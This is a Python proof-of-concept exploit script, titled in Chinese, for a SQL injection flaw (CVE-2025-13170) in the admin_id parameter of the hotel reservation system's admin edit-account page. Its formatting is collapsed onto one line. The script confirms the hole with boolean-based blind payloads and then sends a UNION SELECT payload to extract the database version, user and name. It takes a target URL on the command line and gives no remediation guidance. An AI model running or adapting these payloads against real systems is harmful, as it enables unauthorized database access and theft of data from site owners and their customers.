CVE-2025-13170 Simple Online Hotel Reservation System SQL注入漏洞

import requests import sys # CVE-2025-13170 SQL Injection PoC # Target: Simple Online Hotel Reservation System 1.0 # Vulnerability: /admin/edit_account.php admin_id parameter def exploit(target_url, admin_id): """ SQL Injection exploit for CVE-2025-13170 Tests for boolean-based blind SQL injection """ # Normal request baseline normal_url = f"{target_url}/admin/edit_account.php?admin_id={admin_id}" try: normal_resp = requests.get(normal_url, timeout=10) normal_length = len(normal_resp.text) # Boolean-based blind SQL injection test # If 'admin' exists, the condition is true and page behaves normally true_payload = f"{admin_id}' AND '1'='1" false_payload = f"{admin_id}' AND '1'='2" true_url = f"{target_url}/admin/edit_account.php?admin_id={true_payload}" false_url = f"{target_url}/admin/edit_account.php?admin_id={false_payload}" true_resp = requests.get(true_url, timeout=10) false_resp = requests.get(false_url, timeout=10) # If true and false responses differ, vulnerability exists if len(true_resp.text) != len(false_resp.text): print(f"[+] SQL Injection Vulnerability Confirmed!") print(f"[+] Target: {target_url}") print(f"[+] Vulnerable Parameter: admin_id") print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition length: {len(true_resp.text)}") print(f"[*] False condition length: {len(false_resp.text)}") return True else: print("[-] Vulnerability not detected") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url, admin_id): """ Extract database information using UNION-based injection """ # Database version extraction payload = f"{admin_id}' UNION SELECT NULL,version(),user(),database()-- -" url = f"{target_url}/admin/edit_account.php?admin_id={payload}" try: resp = requests.get(url, timeout=10) if 'UNION' in resp.text or len(resp.text) > 0: print(f"[*] Database extraction payload sent") print(f"[*] Check response for database information") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13170.py <target_url> <admin_id>") print("Example: python cve-2025-13170.py http://localhost 1") sys.exit(1) target = sys.argv[1].rstrip('/') admin_id = sys.argv[2] print(f"[*] Testing CVE-2025-13170 SQL Injection") print(f"[*] Target: {target}") if exploit(target, admin_id): print("\n[*] Attempting data extraction...") extract_data(target, admin_id)